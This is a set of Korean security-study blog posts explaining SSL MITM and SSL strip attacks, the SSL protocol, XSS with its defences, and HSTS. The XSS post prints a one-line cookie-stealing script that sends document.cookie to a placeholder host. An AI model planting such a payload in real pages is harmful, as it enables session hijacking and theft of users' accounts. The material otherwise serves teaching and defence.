SSL을 이용한 통신을 할 때 Server와 Client는 보안 채널을 통해 데이터를 주고 받게 되며 보안 채널을 만들기 위해서 SSL 혹은 TLS가 사용된다.

 

TCP/IP 구조의 경우 Server와 Client가 직접연결되는 것이 아니기에 중간에 공격자에 의해 데이터가 변조될 가능성이 있다.

 

Client가 Server와 SSL 통신을 하고 있는 중이라면 공격이 불가능 하겠지만 SSL연결을 요청하는 초기 단계라면 이야기는 달라진다.

 

SSL MITM Attack

 

MITM은 공격자가 중간에서 SSL인증서만을 가로채는 공격기법이다. (네 이게 답니다. 이 과정에 전문 지식을 요할 뿐...)

이는 공격자가 사용자에게 서버인척 가짜 인증서를 송신한다.

이를 수신한 사용자는 가짜 인증서에 있는 공개키로 개인정보등을 암호화해서 공격자에게 보내준다.

공격자는 이를 이용해 서버에게서 SSL 인증서를 발급 받는다.

 

1. 사용자 <-> 공격자 (가짜 인증서를 활용한 정보 탈취)

2. 공격자 <-> 서버 (탈취한 정보를 이용한 SSL 인증) 

 

HTTPS를 벗겨내는 Strip 공격과는 다른 방식이다.

SSL Strip Attack

SSL Strip Attack

 

Client가 Client Hello Message를 전송 할 때 이를 가로챈 공격자는 자기가 마치 사용자인 것 처럼 Client Hello Message를 Server에게 전달해준다. Server는 Server Hello Message와 서버 인증서를 공격자에게 제공해준다.

이렇게 보안 인증서가 나오기전 사이를 탈취하면서 SSL Strip Attack이 성립된다.

사용사 <--HTTP--> 공격자 <--HTTPS--> 서버 

형식을 띄게 된다.

 

1. 사용자 --> 공격자 (사용자가 서버에세 SSL 인증서를 발급받기 위한 절차 수행중)

2. 공격자 --> 서버 ( 그 절차 사이에 끼어들어 자기를 거쳐 가게끔 함)

3. 사용자 <-> 공격자 (HTTP로 통신 진행)

4. 공격자 <-> 서버 (HTTPS로 통신 진행)

'Basic Concepts > Network' 카테고리의 다른 글

UPnP(Universal Plug & Play)  (0) 2020.04.01
curl(Clinet URL)  (0) 2020.03.17
SSL (Secure Socket Layer)  (0) 2020.02.26
HSTS(HTTP Strict Trasport Security)  (0) 2020.02.25
IPS/IDS  (0) 2020.02.08

SSL은 보안 소켓 계층을 이르는 말로 인터넷 상에서 데이터를 안전하게 송수신 하기 위한 암호화 통신 프로토콜입니다.

HTTP는 평문 데이터를 전송하기에 암호화가 필요한 서비스들 이를테면, 사내문서, 전자메일 등에서 사용하기에는 어려움이 있습니다. 이를 해결하기 위해서 SSL layer를 거쳐 HTTPS가 되도록 합니다.

 

HTTP -> SSL(Layer) -> HTTPS

 

 

 

SSL 동작원리

SSL프로토콜은 응용계층과 전송 계층 사이에 프로토콜 계층을 만들어서 동작합니다.

응용계층의 프로토콜들은 외부로 보내는 데이터를 TCP가 아닌 SSL에 보내고 SSL은 받은 데이터를 암호화하여 TCP를 거쳐 외부로 전달합니다.

 

 

SSL Layer는 TCP가 아닌 데이터가 전송될 경우 SSL Layer를 거쳐 TCP로 전달되어 외부로 데이터가 전송됩니다.

해당 데이터를 전달 받을시, 암호화된 데이터를 수신 받게 되는데 이는 수신측  SSL Layer에서 복호화를 통해 데이터 처리가 이루어집니다. 수신할때 TCP로 받은 데이터는 복호화하여 응용계층에 전달됩니다.

Application은 SSL을 TCP로 인식 TCP는 SSL을 Application으로 인식 하기에 기존 전달방식을 그대로 사용합니다.

 

SSL 계층

SSL TCP 위에서 Record Protocol을 통해 실질적인 보안서비스를 제공하고, Handshake Protocol, Change Cipher Spec Protocol, Alert Protocol을 통해 SSL 동작에 관한 관리를 합니다.

 

 

 

Handshake Protocol

암호 알고리즘 결정, 키 분배, 서버 및 클라이언트 인증을 수행하기 위해 사용되는 프로토콜입니다.

Handshake Protocol

 

 

 

Record Protocol 

데이터의 압축을 수행하여 안전한 TCP패킷으로 변환시킵니다. 데이터 암호화 및 무결성을 위한 메시지 인증을 수행합니다.

 

Record Protocol

총 5가지 단계를 거칩니다.

Fragmentation : 메시지 즉, 데이터는 작은 블록으로 조각화가 이루어집니다.

Compression : 조각이 된 블록에 대하여 압축이 진행됩니다.

Add MAC : SSL-Handshake 프로토콜에 설정된 비밀키를 사용하여 MAC를 계산합니다.

Encryption : MAC을 포함한 데이터를 SSL-Handshake에 설정된 대칭키를 사용하여 암호화를 진행합니다.

Append header : SSL Header가 암호화된 블록에 추가되며 Header에는 각종 필드가 포함되어 있습니다. 

 

 

 

Change Cipher Spec Protocol

암호화 알고리즘과 보안 정책을 조율하기 위해 사용하는 프로토콜입니다. Handshake 과정에서 데이터 암호화용 대칭키 생성이 완료되고 나면 그 이후부터 데이터를 암호화하라는 신호를 보내는데 사용됩니다.

 

 

 

Alert protocol

Clinet or Server side에 오류가 발생할시 상대방에게 경고 메시지를 보내며 오류가 critical 할시에 SSL 연결을 닫습니다.

 

Unexpected message : 부적절한 메시지가 수신될 때 발생

Bad record MAC : 잘못된 MAC으로 메시지가 수신될 때 발생합니다.

Handshake failure : 보낸 사람이 옵션에서 허용되는 보안 매개변수 집합을 협상할수 없을시에 발생합니다.

Decompression failure : 압축 해제에 실패할때 발생합니다.

Iligal parameters : Handshake 메시지의 필드가 범위를 벗어날 때 발생합니다.

 

 

'Basic Concepts > Network' 카테고리의 다른 글

curl(Clinet URL)  (0) 2020.03.17
SSL Strip Attack & SSL MITM Attack  (0) 2020.02.27
HSTS(HTTP Strict Trasport Security)  (0) 2020.02.25
IPS/IDS  (0) 2020.02.08
방화벽 (FireWall)  (0) 2020.01.23

자바스크립트는 웹 애플리케이션에서 사용되는 언어로 웹 페이지에서 동적인 기능을 구현하는데 사용된다.

 

XSS는 application 계층에서 일어나고 클라이언트 측 스크립팅 언어의 취약점으로 발생하며 보통 <scipt>스크립트 코드</script>형식을 이루고 있다.

 

<script>document.location='http://asdfasdf.com/cookie?'+document.cookie</script>

해당 구문은 해당 url의 주소로 쿠키 값을 빼오는 구문이다.

 

이와 같이 XSS는  클라이언트 쪽의 웹 브라우저를 공격하는 기법의 일종으로 <script></script>와 같은 입력값을 사용하여 공격을 수행 한다.

 

로그인된 사용자의 세션 쿠키를 사용하여 공격자는 마치 자기가 사용자인양 웹페이지에 접속한다.

 

XSS는 크게 3가지 공격 기법이 있다.

 

Reflected XSS 공격

1. 공격자는 로그인된 사용자에게 악성 스크립트가 실행되게끔 유도한다.

2. 사용자는 이를 실행하고 스크립트코드가 삽입된 요청을 전송한다.

3. 스크립트코드를 반사시켜준다.

4. 웹 브라우저가 자동으로 스크립트 코드를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인양 접속한다.

 

Stored XSS 공격

1. 서버에 스크립트 코드를 작성해둔다.

2. 사용자가 이를 모르고 페이지에 접속한다.

3. 스크립트 코드를 전달해준다.

4. 사용자의 웹 브라우저가 이를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인 양 접속한다.

 

 

DOM 기반 XSS 공격 방법

DOM(Document Object Model)이란 W3C 표준으로 HTML 및 XML 문서에 접근방법을 표준으로 정의하는 문서객체모델이다.

피해자의 브라우저가 HTML 페이지를 구문 분석할 때마다 공격 스크립트가 DOM 생성의 일부로 실행되면서 공격한다. 페이지 자체는 변하지 않으나, 페이지에 포함되어 있는 브라우저측 코드가 DOM 환경에서 악성코드로 실행된다.

앞에서 다룬 저장 XSS 및 반사 XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면, DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

 

대응방안

-입출력 값 검증 및 무효화

htmlspecialchars() 함수를 사용하여 특정 문자를 HTML 엔티티로 변환하여 필터링하면 큰 도움이 된다.

ASCII 문자 참조 문자 ASCII 문자 참조 문자
& &amp; " &quot;
< &lt; ' &#x27;
> &gt; / &#x2F;
( &#40; ) &#41;

 

-보안 라이브러리

1) AntiXSS

AntiXSS 라이브러리는 마이크로소프트사에서 개발한 공개용 XSS 취약점 예방 라이브러리이다

 

2) OWASP ESAPI 라이브러리

OWASP는 포괄적인 애플리케이션 보안을 위해 웹 응용 취약점을 대응할 수 있는 오픈소스 ESAPI 라이브러리를 개발하여 제공하고 있다. XSS 취약점을 예방하기 위한 API는 validator와 encoder가 있다. validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다

 

-브라우저 확장 프로그램

NoScript는 파이어폭스 등 모질라 기반의 browser에서 실행되는 오픈 소스 확장 프로그램으로, 화이트 리스트 기반으로 신뢰된 사이트의 자바스크립트, 플래쉬, 실버라이트 및 액티브X 등 동적 스크립트만 브라우저에서 실행하도록 하여 XSS 공격을 예방할 수 있다.

 

 

https://www.kisa.or.kr/uploadfile/201312/201312161355109566.pdf

XSS와 http에 관해서 kisa에서 제공해준 자료이다. 

 

'Basic Concepts > Web' 카테고리의 다른 글

DOM(Document Object Model)  (0) 2020.04.01
생각날때마다 끄적이는 웹 공격 대응방법  (0) 2020.03.05
meta 태그(meta tag)  (0) 2020.02.25
CSRF(Cross-Site Request Forgery)  (0) 2020.02.25
커맨드 인젝션(Command Injection)  (0) 2020.02.19

HTTP Strict Trasport Security는 웹 사이트를 보호하는 웹 보안 정책 매커니즘이다.

 

지원되는 브라우저가 헤더를 수신하면 해당 브라우저는 HTTP로 통신이 전송되는 것을 방지하고 HTTPS를 통해 모든 통신을 전송 하게 된다.  

 

HSTS는 다음과 같은 위협을 해결한다.

 

-사용자 북마크 또는 수동 입력 url 및 중간자 공격 대상

HSTS는 대상 도메인에 대해 HTTP 요청을 HTTPS로 자동 리다이렉션 한다.

 

-HTTPS로 의도된 웹 응용 프로그램이 HTTP링크 및 HTTP를 통한 컨텐츠를 제공 하는 경우

HSTS는 대상 도메인에 대해 HTTP 요청을 HTTPS로 자동 리디렉션한다.

 

-MITM (Man-in-the-Middle) 공격자가 잘못된 인증서를 사용하여 대상 사용자의 트래픽을 가로 채려고 시도하고 사용자가 잘못된 인증서를 수락하는 경우

HSTS는 사용자가 유효하지 않은 인증서 메시지를 무시하도록 허용하지 않는다.

 

취약점

사이트 소유자는 HSTS를 사용하여 쿠키가 없는 사용자를 식별 할 수 있지만 이는 개인 정보 유출로 이어 질 수 있다.

includeSubDomains 옵션을 생략하면 하위도메인에서 쿠키를 조작 할 수 있게 되며 HSTS가 하위 도메인에 유효한 인증서를 요구하여 쿠키 관련 공격이 허용된다.

 

대응방안

모든 쿠키에  secure 플래그를 설정하면 동일한 공격을 방지 할 수 있다.

 

브라우저에서 쿠키는 기본적으로 HTTP, HTTPS 프로토콜에 관계없이 서버에 전달된다. 이 경우 HTTP 요청시 외부의 공격자에게 쿠키 정보를 탈취당할 수 있다. secure를 명시하면 HTTPS 프로토콜일 경우에만 쿠키를 전달하여 외부의 공격자로부터 쿠키 정보를 보호할 수 있다.

Set-Cookie: name=value; secure

 

Cooike 설정에 관한 추가적인 정보는 해당 포스팅을 이용하면 된다.

https://blog.ravidusash.kr/121

 

Cookie Secure& HTTP Only setting

쿠키란 무엇인가? 쿠키는 서버가 클라이언트 측에 상태 정보를 저장하고 추출할수 있는 어떠한 값이다. Cookie 쿠키는 http에서 없어서는 안될 정도로 유용하고 광범위하게 사용 되고 있다. 이러한 쿠키는 서버에..

blog.ravidusash.kr

 

 

'Basic Concepts > Network' 카테고리의 다른 글

curl(Clinet URL)  (0) 2020.03.17
SSL Strip Attack & SSL MITM Attack  (0) 2020.02.27
SSL (Secure Socket Layer)  (0) 2020.02.26
IPS/IDS  (0) 2020.02.08
방화벽 (FireWall)  (0) 2020.01.23

메타 태그란 웹 서버와 웹 브라우저간 교환되는 데이터 정보를 정의하는데 사용되며 보이지 않는 정보를 제공해준다.

<meta />

 

닫는 태그가 없는 태그로 태그의 속성을 통해 정보를 제공해 준다.

 

메타 태그 속성에는 http-dquiv, name, content 3가지 속성이 있다.

각 속성별로 속성값이 존재하며 속성값에 따라 나타내는 값이 다르다.

+ Recent posts